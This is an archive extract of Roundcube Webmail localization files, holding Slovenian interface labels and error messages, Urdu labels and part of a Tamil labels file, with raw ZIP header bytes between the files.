$labels['greek'] = 'Grško';
$labels['hebrew'] = 'Hebrejsko';
$labels['turkish'] = 'Turško';
$labels['nordic'] = 'Nordijsko';
$labels['thai'] = 'Tajsko';
$labels['celtic'] = 'Keltsko';
$labels['vietnamese'] = 'Vietnamsko';
$labels['japanese'] = 'Japonsko';
$labels['korean'] = 'Korejsko';
$labels['chinese'] = 'Kitajsko';
$labels['arialabeltopnav'] = 'Upravljanje oken';
$labels['arialabeltasknav'] = 'Opravila programa';
$labels['arialabeltoolbar'] = 'Opravilna vrstica programa';
$labels['arialabelactivetask'] = 'Aktivna opravila';
$labels['arialabelmessagessearchfilter'] = 'Filter seznama sporočil';
$labels['arialabelmailsearchform'] = 'Iskalnik sporočil';
$labels['arialabelcontactsearchform'] = 'Iskalnik stikov';
$labels['arialabelmailquicksearchbox'] = 'Vnos iskanja sporočil';
$labels['arialabelquicksearchbox'] = 'Vnos iskanja';
$labels['arialabelfoldersearchfilter'] = 'Filter seznama map';
$labels['arialabelfoldersearchform'] = 'Iskalnik map';
$labels['arialabelfolderlist'] = 'Izbor map sporočil';
$labels['arialabelmessagelist'] = 'Seznam sporočil';
$labels['arialabelmailpreviewframe'] = 'Predogled sporočila';
$labels['arialabelmailboxmenu'] = 'Meni operacij mape';
$labels['arialabellistselectmenu'] = 'Prikaži meni za izbiro';
$labels['arialabelthreadselectmenu'] = 'Meni za izpis niti';
$labels['arialabelmessagelistoptions'] = 'Možnosti prikaza in razvrščanja sporočil';
$labels['arialabelmailimportdialog'] = 'Dialog za uvoz sporočil';
$labels['arialabelmessagenav'] = 'Krmarjenje po sporočilu';
$labels['arialabelmessagebody'] = 'Vsebina sporočila';
$labels['arialabelmessageactions'] = 'Operacije za sporočila';
$labels['arialabelcontactquicksearch'] = 'Iskalnik stikov';
$labels['arialabelcontactsearchbox'] = 'Vnesi stik za iskanje';
$labels['arialabelmessageheaders'] = 'Glave sporočil';
$labels['arialabelforwardingoptions'] = 'Možnosti posredovanja';
$labels['arialabelreplyalloptions'] = 'Možnost Odgovori vsem';
$labels['arialabelmoremessageactions'] = 'Več opravil za sporočila';
$labels['arialabelmorecontactactions'] = 'Več možnosti za stike';
$labels['arialabelmarkmessagesas'] = 'Označi izbrana sporočila kot ...';
$labels['arialabelcomposeoptions'] = 'Možnosti sestavljanja sporočil';
$labels['arialabelresponsesmenu'] = 'Meni v naprej pripravljenih odgovorov';
$labels['arialabelattachmentuploadform'] = 'Priponka naložena iz';
$labels['arialabelattachmentmenu'] = 'Možnosti za priponke';
$labels['arialabelmailtomenu'] = 'Možnosti za elektronske naslove';
$labels['arialabelattachmentpreview'] = 'Predogled priponke';
$labels['ariasummarycomposecontacts'] = 'Seznam stikov in skupin za izbor prejemnikov';
$labels['arialabelcontactexportoptions'] = 'Možnosti izvoza stika';
$labels['arialabelabookgroupoptions'] = 'Možnosti imenika';
$labels['arialabelpreferencesform'] = 'Nastavitve';
$labels['arialabelidentityeditfrom'] = 'Urejanje identitete';
$labels['arialabelresponseeditfrom'] = 'Urejanje odgovora';
$labels['arialabelsearchterms'] = 'Iskalni pogoji';
$labels['arialabeldropactionmenu'] = 'Meni operacij povleci in spusti';
$labels['arialabelheadersmenu'] = 'Meni za dodajanje naslovnika (glava sporočila)';
$labels['arialabelimagetools'] = 'Orodja za slike';
$labels['helplistnavigation'] = 'Izpiši možnosti krmarjenja s tipkovnico';
$labels['helplistkeyboardnavigation'] = "Puščica gor/dol: Premakni fokus/izbor vrstice
Presledek: Izberi označeno vrstico.
Shift + gor/dol: Izberi dodatne vrstice zgoraj/spodaj
Ctrl + presledek: Dodaj označeno vrstico v izbor/odstrani iz izbora";
$labels['helplistkeyboardnavmessages'] = "Puščice desno/levo: razširi/skrči nit sporočil (samo v nitnem načinu)
Enter: Odpri izbrano sporočilo
Delete: Premakni izbrana sporočila v Smeti.";
$labels['helplistkeyboardnavcontacts'] = "Odpri izbran stik.";
PK
h�\=
���<�<'program/localization/sl_SI/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Prišlo je do napake!';
$messages['loginfailed']  = 'Prijava ni uspela';
$messages['cookiesdisabled'] = 'Vaš spletni brskalnik ne sprejema piškotkov.';
$messages['sessionerror'] = 'Seja je neveljavna ali je potekla.';
$messages['storageerror'] = 'Povezava z IMAP strežnikom je spodletela.';
$messages['servererror'] = 'Napaka strežnika!';
$messages['servererrormsg'] = 'Napaka strežnika $msg';
$messages['accountlocked'] = 'Preveliko število napačnih prijav. Poskusite znova kasneje.';
$messages['connerror'] = 'Napaka pri povezavi do strežnika.';
$messages['dberror'] = 'Napaka v bazi';
$messages['windowopenerror'] = 'Onemogočen prikaz pojavnih oken.';
$messages['requesttimedout'] = 'Zahteva je potekla';
$messages['errorreadonly'] = 'Operacije ni bilo mogoče izvršiti. Mapa je na voljo samo za branje.';
$messages['errornoperm'] = 'Operacije ni bilo mogoče izvršiti. Dostop zavrnjen.';
$messages['erroroverquota'] = 'Operacije ni mogoče izvršiti. Diskovni prostor je zaseden.';
$messages['erroroverquotadelete'] = 'Zmanjkalo je diskovnega prostora. Za izbris sporočila uporabite tipki SHIFT+DEL.';
$messages['invalidrequest'] = 'Neveljavna zahteva. Podatki niso bili shranjeni.';
$messages['invalidhost'] = 'Nepravilno ime strežnika';
$messages['nomessagesfound'] = 'V poštnem predalu ni sporočil.';
$messages['loggedout'] = 'Uspešno ste zaključili sejo. Nasvidenje!';
$messages['mailboxempty'] = 'Poštni predal je prazen.';
$messages['nomessages'] = 'Ni sporočil';
$messages['refreshing'] = 'Osvežujem...';
$messages['loading'] = 'Nalaganje...';
$messages['uploading'] = 'Prenos dokumenta na strežnik...';
$messages['attaching'] = 'Pripenjanje dokumenta...';
$messages['uploadingmany'] = 'Nalaganje dokumentov..';
$messages['loadingdata'] = 'Nalaganje podatkov...';
$messages['checkingmail'] = 'Preverjanje novih sporočil...';
$messages['sendingmessage'] = 'Pošiljanje sporočil...';
$messages['messagesent'] = 'Sporočilo je bilo uspešno poslano.';
$messages['savingmessage'] = 'Shranjevanje sporočila...';
$messages['messagesaved'] = 'Sporočilo je bilo shranjeno v Osnutke';
$messages['successfullysaved'] = 'Uspešno shranjeno.';
$messages['savingresponse'] = 'Shranjevanje odgovora...';
$messages['deleteresponseconfirm'] = 'Ste prepričani, da želite izbrisati ta odgovor?';
$messages['addedsuccessfully'] = 'Stik je bil uspešno dodan v imenik.';
$messages['contactexists'] = 'Stik s tem elektronskim naslovom že obstaja';
$messages['contactnameexists'] = 'Stik s tem imenom že obstaja';
$messages['blockedimages'] = 'Zaradi zaščite zasebnosti je prikaz slik v sporočilu onemogočen.';
$messages['encryptedmessage'] = 'Sporočilo je šifrirano in ne more biti prikazano.';
$messages['externalmessagedecryption'] = 'To je šifrirano sporočilo, ki ga lahko odšifrirate s pomočjo brskalnika.';
$messages['nopubkeyfor'] = 'V $email ni bilo mogoče najti javnega ključa';
$messages['nopubkeyforsender'] = 'Veljavnega javnega ključa za pošiljatelja ni bilo mogoče najti. Ali želite šifrirati sporočila samo za naslovnike?';
$messages['encryptnoattachments'] = 'Priponke, ki ste jih že naložili, ne morejo biti šifrirane. Dodajte jih znova v urejevalnik.';
$messages['searchpubkeyservers'] = 'Ali želite manjkajoče javne ključe poiskati na javno dostopnih strežnikih?';
$messages['encryptpubkeysfound'] = 'Najdeni so bili naslednji javni ključi:';
$messages['nocontactsfound'] = 'Ni stikov.';
$messages['contactnotfound'] = 'Iskanega stika ni bilo mogoče najti.';
$messages['sendingfailed'] = 'Sporočila ni bilo mogoče poslati.';
$messages['senttooquickly'] = 'Počakajte $sec sekund in nato znova poskusite s pošiljanjem sporočila.';
$messages['errorsavingsent'] = 'Pri shranjevanju poslanega sporočila je prišlo do napake.';
$messages['errorsaving'] = 'Pri shranjevanju je prišlo do napake.';
$messages['errormoving'] = 'Sporočila ni bilo mogoče premakniti.';
$messages['errorcopying'] = 'Sporočila ni bilo mogoče kopirati.';
$messages['errordeleting'] = 'Sporočila ni bilo mogoče izbrisati.';
$messages['errormarking'] = 'Sporočila ni bilo mogoče označiti.';
$messages['deletecontactconfirm']  = 'Ste prepričani, da želite izbrisati označen(e) stik(e)?';
$messages['deletegroupconfirm']  = 'Ste prepričani, da želite izbrisati izbrano skupino?';
$messages['deletemessagesconfirm'] = 'Ste prepričani, da želite izbrisati označeno(a) sporočilo(a)?';
$messages['deletefolderconfirm']  = 'Ste prepričani, da želite to mapo izbrisati?';
$messages['purgefolderconfirm']  = 'Ste prepričani, da želite izbrisati vsa sporočila v mapi?';
$messages['contactdeleting'] = 'Brisanje stika/ov...';
$messages['groupdeleting'] = 'Brisanje skupine...';
$messages['folderdeleting'] = 'Brisanje mape...';
$messages['foldermoving'] = 'Premikanje mape...';
$messages['foldersubscribing'] = 'Prijavljanje mape...';
$messages['folderunsubscribing'] = 'Odjavljanje mape...';
$messages['formincomplete'] = 'Obrazec ni v celoti izpolnjen';
$messages['noemailwarning'] = 'Vnesite veljaven elektronski naslov';
$messages['nonamewarning']  = 'Vnesite ime';
$messages['nopagesizewarning'] = 'Vnesite velikost strani';
$messages['nosenderwarning'] = 'Vnesite elektronski naslov pošiljatelja.';
$messages['recipientsadded'] = 'Naslovnik[i] uspešno dodan[i]';
$messages['norecipientwarning'] = 'Vnesite vsaj enega prejemnika sporočila';
$messages['disclosedrecipwarning'] = 'Vsi prejemniki bodo videli naslove drugih prejemnikov sporočila. Uporabite polje Skp, da zaščitite njihovo zasebnost.';
$messages['disclosedreciptitle'] = 'Preveliko število javnih naslovov prejemnikov';
$messages['nosubjectwarning']  = 'Polje "Zadeva" je prazno. Želite dodati besedilo v to polje?';
$messages['nosubjecttitle']  = 'Brez naslova';
$messages['nobodywarning'] = 'Želite poslati sporočilo brez besedila?';
$messages['notsentwarning'] = 'Sporočilo ni bilo poslano in vsebuje neshranjene spremembe. Želite spremembe zavreči?';
$messages['restoresavedcomposedata'] = 'Ali želite nadaljevati z urejanjem še neodposlanega osnutka:\n\nZadeva: $subject\nShranjeno dne: $date\n\n ';
$messages['nosearchname'] = 'Vnesite ime ali elektronski naslov stika';
$messages['notuploadedwarning'] = 'Priponke se še nalagajo na strežnik. Počakajte ali prekinite prenos.';
$messages['searchsuccessful'] = '$nr najdenih sporočil';
$messages['contactsearchsuccessful'] = '$nr najdenih stikov.';
$messages['searchnomatch'] = 'Ni zadetkov';
$messages['searching'] = 'Iskanje...';
$messages['checking'] = 'Preverjanje...';
$messages['stillsearching'] = 'Iskanje v teku...';
$messages['nospellerrors'] = 'V tekstu ni bilo nobenih pravopisnih napak';
$messages['folderdeleted'] = 'Mapa je bila uspešno izbrisana.';
$messages['foldersubscribed'] = 'Mapa je bila uspešno prijavljena.';
$messages['folderunsubscribed'] = 'Mapa je bila uspešno odjavljena.';
$messages['deletedsuccessfully'] = 'Uspešno izbrisano';
$messages['converting'] = 'Odstranjevanje nastavitev oblikovanja...';
$messages['messageopenerror'] = 'Sporočila ni bilo mogoče prenesti iz strežnika';
$messages['filelinkerror'] = 'Pripenjanje dokumenta je spodletelo.';
$messages['fileuploaderror'] = 'Prenos datoteke je spodletel';
$messages['filesizeerror'] = 'Naložena datoteka presega največjo dovoljeno velikost $size';
$messages['filecounterror'] = 'Na strežnik lahko prenesete največ $count dokumentov naenkrat.';
$messages['msgsizeerror'] = 'Datoteke ni bilo mogoče dodati. Največja dovoljena velikost sporočila ($size) je bila presežena.';
$messages['copysuccess'] = 'Uspešno ste kopirali $nr stikov.';
$messages['movesuccess'] = 'Uspešno ste premaknili $nr stikov.';
$messages['copyerror'] = 'Stikov ni bilo mogoče kopirati.';
$messages['moveerror'] = 'Stikov ni bilo mogoče premakniti.';
$messages['sourceisreadonly'] = 'Ta naslov je na voljo samo za branje';
$messages['errorsavingcontact'] = 'Stika ni bilo mogoče shraniti';
$messages['movingmessage'] = 'Premikanje sporočila...';
$messages['copyingmessage'] = 'Kopiranje sporočila...';
$messages['copyingcontact'] = 'Kopiranje stika/ov';
$messages['movingcontact'] = 'Premikanje stika(ov)...';
$messages['deletingmessage'] = 'Brisanje sporočil/a';
$messages['markingmessage'] = 'Označevanje sporočil/a';
$messages['addingmember'] = 'Dodajanje stika/ov v skupino...';
$messages['removingmember'] = 'Odstranjevanje stika/ov iz skupine..';
$messages['receiptsent'] = 'Sporočilo o branju je bilo uspešno poslano';
$messages['errorsendingreceipt'] = 'Sporočila o branju ni bilo mogoče poslati';
$messages['deleteidentityconfirm'] = 'Ste prepričani, da želite izbrisati to identiteto?';
$messages['nodeletelastidentity'] = 'Te identitete ni mogoče izbrisati, saj je edina.';
$messages['forbiddencharacter'] = 'Ime mape vsebuje nedovoljen znak';
$messages['selectimportfile'] = 'Izberite datoteko, ki jo želite prenesti';
$messages['addresswriterror'] = 'Izbran imenik ni zapisljiv';
$messages['contactaddedtogroup'] = 'Stik je bil uspešno dodan v skupino';
$messages['contactremovedfromgroup'] = 'Stik je bil uspešno izbrisan iz skupine';
$messages['nogroupassignmentschanged'] = 'Dodeljevanje skupini ni bilo spremenjeno.';
$messages['importwait'] = 'Uvažanje poteka...';
$messages['importformaterror'] = 'Uvoz ni uspel! Uvožena datoteka ni pravega formata.';
$messages['importconfirm'] = '<b>Uspešno uvoženi $inserted stiki, $skipped stikov že obstaja v imeniku</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>Preskočeni že obstoječi vnosi $skipped </b>';
$messages['importmessagesuccess'] = 'Upešno ste uvozili $nr sporočil.';
$messages['importmessageerror'] = 'Uvoz je spodletel. Naložena datoteka ni veljavno sporočilo ali poštna datoteka';
$messages['opnotpermitted'] = 'Operacija ni dovoljena.';
$messages['nofromaddress'] = 'V izbrani identiteti manjka elektronski naslov.';
$messages['editorwarning'] = 'Preklop med urejevalniki besedila lahko povzroči izgubo oblikovanja besedila. Želite nadaljevati?';
$messages['httpreceivedencrypterror'] = 'Prišlo je do večje napake v konfiguraciji. Obrnite se na skrbnika sistema.  <b>Sporočila ni bilo mogoče poslati.</b>';
$messages['smtpconnerror'] = 'Napaka pri pošiljanju ($code): Povezava s strežnikom je spodletela';
$messages['smtpautherror'] = 'Napaka pri pošiljanju($code): Avtentikacija je spodletela';
$messages['smtpfromerror'] = 'Napaka pri pošiljanju ($code): Neveljaven elektronski naslov pošiljatelja "$from" ($msg)';
$messages['smtptoerror'] = 'Napaka pri pošiljanju ($code): Neveljaven elektronski naslov prejemnika "$to" ($msg)';
$messages['smtprecipientserror'] = 'Napaka pri pošiljanju: Seznama prejemnikov ni bilo mogoče razčleniti';
$messages['smtperror'] = 'Napaka pri pošiljanju:$msg';
$messages['emailformaterror'] = 'Neveljaven elektronski naslov: $email';
$messages['toomanyrecipients'] = 'Navedli ste preveč prejemnikov. Zmanjšajte število prejemnikov na $max';
$messages['maxgroupmembersreached'] = 'Število članov skupine presega največje dovoljeno število $max.';
$messages['internalerror'] = 'Prišlo je do napake. Poskusite znova.';
$messages['contactdelerror'] = 'Stika/ov ni bilo mogoče izbrisati';
$messages['contactdeleted'] = 'Stik/i so bili uspešno izbrisani';
$messages['contactrestoreerror'] = 'Ni bilo mogoče obnoviti izbrisanih stikov.';
$messages['contactrestored'] = 'Stiki so bili uspešno obnovljeni.';
$messages['groupdeleted'] = 'Skupina je bila uspešno izbrisana';
$messages['grouprenamed'] = 'Skupina je bila uspešno preimenovana';
$messages['groupcreated'] = 'Skupina je bila uspešno ustvarjena';
$messages['savedsearchdeleted'] = 'Shranjeno iskanje je bilo uspešno izbrisano.';
$messages['savedsearchdeleteerror'] = 'Ni bilo mogoče izbrisati shranjenega iskanja.';
$messages['savedsearchcreated'] = 'Iskanje je bilo uspešno shranjeno.';
$messages['savedsearchcreateerror'] = 'Iskanja ni bilo mogoče shraniti.';
$messages['messagedeleted'] = 'Sporočila so bila uspešno izbrisana';
$messages['messagemoved'] = 'Sporočila so bila uspešno premaknjena';
$messages['messagemovedtotrash'] = 'Sporočilo(a) so bila uspešno premaknjena v Smeti.';
$messages['messagecopied'] = 'Sporočila so bila uspešno kopirana';
$messages['messagemarked'] = 'Sporočila so bila uspešno označena';
$messages['autocompletechars'] = 'Vnesite vsaj $min znakov za samodejno dokončanje';
$messages['autocompletemore'] = 'Z iskanjem se ujema več vnosov. Vnesite dodatne črke.';
$messages['namecannotbeempty'] = 'Imena ni mogoče izbrisati';
$messages['nametoolong'] = 'Ime je predolgo';
$messages['namedotforbidden'] = 'Ime mape se ne more začeti s piko.';
$messages['folderupdated'] = 'Mapa je bila uspešno posodobljena';
$messages['foldercreated'] = 'Mapa je bila uspešno ustvarjena';
$messages['invalidimageformat'] = 'Neveljaven format slike';
$messages['mispellingsfound'] = 'V sporočilu so bile najdene napake v črkovanju';
$messages['parentnotwritable'] = 'Podmape v tej mapi ni bilo mogoče ustvariti/premakniti. Nimate pravic.';
$messages['messagetoobig'] = 'Sporočilo je preveliko za obdelavo.';
$messages['noscriptwarning'] = 'Opozorilo: Ta spletna stran zahteva Javascript! Za uporabo ga vključite v nastavitvah vašega brskalnika.';
$messages['messageissent'] = 'Sporočilo je bilo uspešno poslano, a ni bilo shranjeno. Ga želite shraniti?';
$messages['errnotfound'] = 'Datoteke ni bilo mogoče najti';
$messages['errnotfoundexplain'] = 'Zahtevanega vira ni bilo mogoče najti!';
$messages['errfailedrequest'] = 'Zahteva je spodletela';
$messages['errauthorizationfailed'] = 'Avtorizacija je spodletela';
$messages['errunauthorizedexplain'] = 'Ni bilo mogoče preveriti, ali ste avtorizirani za uporabo te storitve!';
$messages['errrequestcheckfailed'] = 'Preverjanje zahteve je spodletelo.';
$messages['errcsrfprotectionexplain'] = "Zaradi zagotavljanja varnosti je dostop do tega vira zaščiten proti CSRF.\n Če vidite to sporočilo, se verjetno niste odjavili, preden ste zapustili spletni brskalnik.\n\nZa nadaljevanje je potrebna vaša interakcija. ";
$messages['errcontactserveradmin'] = 'Obrnite se na skrbnika strežnika.';
$messages['clicktoresumesession'] = 'Kliknite tukaj za obnovitev prejšnje seje';
$messages['errcomposesession'] = 'Napaka v seji sestavljanja sporočila';
$messages['errcomposesessionexplain'] = 'Zahtevane seje za sestavljanje sporočila ni bilo mogoče najti.';
$messages['clicktocompose'] = 'Kliknite tukaj, če želite ustvariti novo sporočilo';
$messages['listempty'] = 'Seznam je prazen.';
$messages['listusebutton'] = 'Uporabite gumb »Ustvari« za dodajanje novega zapisa.';
$messages['emptyattachment'] = 'Ta priponka je videti prazna.<br>Prosimo, posvetujte se s pošiljateljem.';
PK
h�\�:Z���%program/localization/ur_PK/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = ' $product میں خوش آمدید';
$labels['username'] = 'صارف';
$labels['password'] = 'پاسورڈ';
$labels['server'] = 'سَروَر';
$labels['login'] = 'فولڈرز کا اصلی نام';
$labels['menu'] = 'مینو';
$labels['logout'] = 'لاگ آؤٹ';
$labels['mail'] = 'میل';
$labels['settings'] = 'ترتیبات';
$labels['addressbook'] = 'ایڈریس بک';
$labels['inbox'] = 'ان باکس';
$labels['drafts'] = 'ڈرافٹ';
$labels['sent'] = 'بھیجا ہوا میل';
$labels['trash'] = 'ردی کی ٹوکری';
$labels['junk'] = 'جنک میل';
$labels['show_real_foldernames'] = 'فولڈرز کا اصلی نام';
$labels['subject'] = 'مضمون';
$labels['from'] = 'از';
$labels['sender'] = 'بھیجنے والا';
$labels['date'] = 'تاریخ';
$labels['size'] = 'سائز';
$labels['mailboxlist'] = 'فولڈرز';
$labels['move'] = 'منتقل کریں';
$labels['download'] = 'ڈاؤن لوڈ';
$labels['open'] = 'کھولیں';
$labels['showattachment'] = 'دیکھایں';
$labels['showanyway'] = 'جیسا بھی ہے ظاہر کر دیں';
$labels['sun'] = 'اتوار';
$labels['mon'] = 'پیر';
$labels['tue'] = 'منگل';
$labels['wed'] = 'بدھ';
$labels['thu'] = 'جمرات';
$labels['fri'] = 'جمہ';
$labels['sat'] = 'ہفتہ';
$labels['sunday'] = 'اتوار';
$labels['monday'] = 'پیر';
$labels['tuesday'] = 'منگل';
$labels['wednesday'] = 'بدھ';
$labels['thursday'] = 'جمرات';
$labels['friday'] = 'جمہ';
$labels['saturday'] = 'ہفتہ';
$labels['jan'] = 'جنوری';
$labels['feb'] = 'فروری';
$labels['mar'] = 'مارچ';
$labels['apr'] = 'اپریل';
$labels['may'] = 'مئی';
$labels['jun'] = 'جون';
$labels['jul'] = 'جولائی';
$labels['aug'] = 'ٓآ گست';
$labels['sep'] = 'ستمبر';
$labels['oct'] = 'اُکتوبر';
$labels['nov'] = 'نومبر';
$labels['dec'] = 'دسمبر';
$labels['longjan'] = 'جنوری';
$labels['longfeb'] = 'فروری';
$labels['longmar'] = 'مارچ';
$labels['longapr'] = 'اپریل';
$labels['longmay'] = 'مئی';
$labels['longjun'] = 'جون';
$labels['longjul'] = 'جولائی';
$labels['longaug'] = 'ٓآگست';
$labels['longsep'] = 'ستمبر';
$labels['longoct'] = 'اکتوبر';
$labels['longnov'] = 'نومبر';
$labels['longdec'] = 'دسمبر';
$labels['today'] = 'آج ';
$labels['refresh'] = 'تازہ';
$labels['checkmail'] = 'نیا میسج دیکھیں';
$labels['compose'] = 'نیا میسج ';
$labels['writenewmessage'] = 'نیا میسج لکھیں';
$labels['reply'] = 'میسج کا جواب';
$labels['replytomessage'] = 'بھیجنے والے کو جواب دیں';
$labels['replyall'] = 'سب کو جواب دیں';
$labels['forward'] = 'آگےبھجوائیں';
$labels['markread'] = 'جیسے پڑھ لیا ہو';
$labels['markunread'] = 'جیسے ابھی نہ پڑھا ہو';
$labels['more'] = 'مزید';
$labels['back'] = 'واپس';
$labels['select'] = 'مۃنتخب کریں';
$labels['all'] = 'تمام';
$labels['none'] = 'کوئی نہیں';
$labels['currpage'] = 'موجودہ حفحہ';
$labels['unread'] = 'نہیں پڑھا';
$labels['deleted'] = 'ختم ہو گیا';
$labels['undeleted'] = 'ختم نہیں ہُوا';
$labels['invert'] = 'شکل تبدیل کریں';
$labels['list'] = 'لِسٹ';
$labels['expand-all'] = 'تمام کھولیں';
$labels['attachment'] = 'مُنسلَک شُدہ';
$labels['nonesort'] = 'کوئی نہیں';
$labels['layoutlist'] = 'لِسٹ';
$labels['folders'] = 'فولڈرز';
PK
h�\��s�F�F%program/localization/ta_IN/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'நல்வரவு';
$labels['username'] = 'பயனர்';
$labels['password'] = 'கடவுச்சொல்';
$labels['server'] = 'சேவையகம்';
$labels['login'] = 'நுழை';
$labels['logout'] = 'வெளியேறு';
$labels['mail'] = 'மின்னஞ்சல்';
$labels['settings'] = 'அமைப்புகள்';
$labels['addressbook'] = 'தொடர்புகள்';
$labels['inbox'] = 'அகப்பெட்டி';
$labels['drafts'] = 'வரைவுகள்';
$labels['sent'] = 'அனுப்பிய அஞ்சல்';
$labels['trash'] = 'குப்பை';
$labels['junk'] = 'எரிதம்';
$labels['subject'] = 'தலைப்பு';
$labels['from'] = 'அனுப்புனர்';
$labels['to'] = 'பெறுனர்';
$labels['cc'] = 'நகல்';
$labels['bcc'] = 'மறை நகல்';
$labels['replyto'] = 'பதிலளி';
$labels['date'] = 'தேதி';
$labels['size'] = 'அளவு';
$labels['priority'] = 'முக்கியத்துவம்';
$labels['organization'] = 'நிறுவனம்';
$labels['mailboxlist'] = 'அடைவுகள்';
$labels['messagesfromto'] = 'செய்திகள் $countல் $from லிருந்து $to வரை';
$labels['messagenrof'] = '$countல் $nr வது செய்தி';
$labels['copy'] = 'நகல்';
$labels['moveto'] = 'இதற்கு அனுப்பு...';
$labels['download'] = 'பதிவிறக்கு';
$labels['filename'] = 'கோப்பு பெயர்';
$labels['filesize'] = 'கோப்பு அளவு';
$labels['addtoaddressbook'] = 'தொடர்புகளுக்கு சேர்க்கவும்';
$labels['sun'] = 'ஞாயிறு';
$labels['mon'] = 'திங்கள்';
$labels['tue'] = 'செவ்வாய்';
$labels['wed'] = 'புதன்';
$labels['thu'] = 'வியாழன்';
$labels['fri'] = 'வெள்ளி';
$labels['sat'] = 'சனி';
$labels['sunday'] = 'ஞாயிறு';
$labels['monday'] = 'திங்கள்';
$labels['tuesday'] = 'செவ்வாய்';
$labels['wednesday'] = 'புதன்';
$labels['thursday'] = 'வியாழன்';
$labels['friday'] = 'வெள்ளி';
$labels['saturday'] = 'சனி';
$labels['jan'] = 'சனவரி';
$labels['feb'] = 'பிப்ரவரி';
$labels['mar'] = 'மார்ச்';
$labels['apr'] = 'ஏப்ரல்';
$labels['may'] = 'மே';
$labels['jun'] = 'சூன்';
$labels['jul'] = 'சூலை';
$labels['aug'] = 'ஆகஸ்ட்';
$labels['sep'] = 'செப்டம்பர்';
$labels['oct'] = 'அக்டோபர்';
$labels['nov'] = 'நவம்பர்';
$labels['dec'] = 'டிசம்பர்';
$labels['longjan'] = 'சனவரி';
$labels['longfeb'] = 'பிப்ரவரி';
$labels['longmar'] = 'மார்ச்';
$labels['longapr'] = 'ஏப்ரல்';
$labels['longmay'] = 'மே';
$labels['longjun'] = 'சூன்';
$labels['longjul'] = 'சூலை';
$labels['longaug'] = 'ஆகஸ்ட்';
$labels['longsep'] = 'செப்டம்பர்';
$labels['longoct'] = 'அக்டோபர்';
$labels['longnov'] = 'நவம்பர்';
$labels['longdec'] = 'டிசம்பர்';
$labels['today'] = 'இன்று';
$labels['checkmail'] = 'புது அஞ்சல்களை பார்க்கவும்';
$labels['compose'] = 'அஞ்சல் எழுது';
$labels['writenewmessage'] = 'புது அஞ்சல் எழுதவும்';
$labels['replytomessage'] = 'அனுப்புனருக்கு பதிலளி';
$labels['replytoallmessage'] = 'அனுப்புனர் மற்றும் எல்லா பெறுனர்களுக்கும் பதிலளி';
$labels['forwardmessage'] = 'செய்தியை முன்அனுப்பு';
$labels['deletemessage'] = 'செய்தியை நீக்கு';
$labels['movemessagetotrash'] = 'செய்தியை குப்பைக்கு நகர்த்து';
$labels['printmessage'] = 'செய்தியை அச்சிடவும்';
$labels['previousmessage'] = 'முந்திய செய்தியை காட்டவும்';
$labels['firstmessage'] = 'முதல் செய்தியை காட்டவும்';
$labels['nextmessage'] = 'அடுத்த செய்தியை காட்டு';
$labels['lastmessage'] = 'கடைசி செய்தியை காட்டு';
$labels['backtolist'] = 'செய்தி பட்டியலுக்கு செல்லவும்';
$labels['viewsource'] = 'மூலத்தை காட்டு';
$labels['markmessages'] = 'செய்திகளை குறியிடு';
$labels['markread'] = 'படித்ததாக குறியிடு';
$labels['markunread'] = 'படிக்காததாக குறியிடு';
$labels['markflagged'] = 'நட்சத்திரமிட்டதாக குறியிடு';
$labels['markunflagged'] = 'நட்சத்திரமிடாததாக குறியிடு';
$labels['select'] = 'தேர்ந்தெடு';
$labels['all'] = 'எல்லாம்';
$labels['none'] = 'எதுவுமில்லை';
$labels['unread'] = 'படிக்காதது';
$labels['flagged'] = 'நட்சத்திரமிட்டது';
$labels['unanswered'] = 'பதிலளிக்காதது';
$labels['deleted'] = 'நீக்கியது';
$labels['invert'] = 'தலைகீழ்';
$labels['filter'] = 'வடிப்பான்';
$labels['nonesort'] = 'எதுவுமில்லை';
$labels['compact'] = 'குறுகிய';
$labels['empty'] = 'காலி';
$labels['quota'] = 'பயன்பாட்டு அளவு';
$labels['unknown'] = 'தெரியாத';
$labels['unlimited'] = 'அளவில்லா';
$labels['quicksearch'] = 'விரைவு தேடல்';
$labels['resetsearch'] = 'தேடலை மறுஅமை';
$labels['searchmod'] = 'மாற்றிகளை தேடு';
$labels['msgtext'] = 'முழு செய்தி';
$labels['openinextwin'] = 'புது சாளரத்தில் திற';
$labels['emlsave'] = 'பதிவிறக்கு (.eml)';
$labels['editasnew'] = 'புதியதாக திருத்து';
$labels['sendmessage'] = 'இப்போது அனுப்பு';
$labels['savemessage'] = 'இந்த வரைவை சேமி';
$labels['addattachment'] = 'ஒரு கோப்பை இணைக்கவும்';
$labels['charset'] = 'எழுத்து குறிமுறை';
$labels['editortype'] = 'திருத்தும் வகை';
$labels['returnreceipt'] = 'திரும்பு சீட்டு';
$labels['checkspelling'] = 'எழுத்துப்பிழை சரிபார்';
$labels['resumeediting'] = 'திருத்துவதை தொடரவும்';
$labels['revertto'] = 'முந்திய நிலைக்கு திரும்பவும்';
$labels['attachments'] = 'கோப்பு இணைப்புகள்';
$labels['upload'] = 'பதிவேற்று';
$labels['close'] = 'மூடு';
$labels['low'] = 'குறைந்த';
$labels['lowest'] = 'மிக குறைந்த';
$labels['normal'] = 'சாதாரண';
$labels['high'] = 'அதிக';
$labels['highest'] = 'மிக அதிக';
